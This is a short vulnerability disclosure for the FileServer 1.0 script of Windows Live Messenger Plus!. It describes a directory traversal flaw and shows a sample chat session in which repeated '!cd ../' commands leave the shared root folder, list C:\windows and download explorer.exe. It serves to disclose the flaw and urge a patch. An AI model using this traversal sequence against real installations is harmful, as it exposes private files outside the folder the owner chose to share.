Windows Live Messenger Plus! FileServer 1.0 Directory Traversal vulnerability

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Windows Live Messenger Plus! FileServer 1.0
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Found by joepie91


The FileServer script allows a user using Windows Live Messenger Plus! to share a defined folder and its subfolders and files with a contact.
Authentication is done using a user-defined username and password.
I have found a vulnerability in this script, which allows for downloading of EVERY file on the same disk as the defined folder ("root folder"),
even outside the root folder. The script can be found at http://www.msgpluslive.nl/scripts/view/65-FileServer/

The normal procedure is to use !login to log in, !dir to list files, and !cd to select a folder.

This is an example of a normal communication:
> !login username password
< Login succeeded.
> !dir
< [directory listing goes here]
> !cd music
< OK
> !get music.mp3
< [music.mp3 is sent here]

However, when using ../ with the !cd command, you can actually go beyond the root folder.
This is an example communication (the root directory is C:\shared\files\):
> !login username password
< Login succeeded.
> !cd ../
< OK
> !cd ../
< OK
> !cd windows
< OK
> !dir
< [here goes a directory listing of C:\windows]
> !get explorer.exe
< [client sends back explorer.exe, even though it doesn't have any use]

This very basic vulnerability should be patched as soon as possible, to prevent abuse.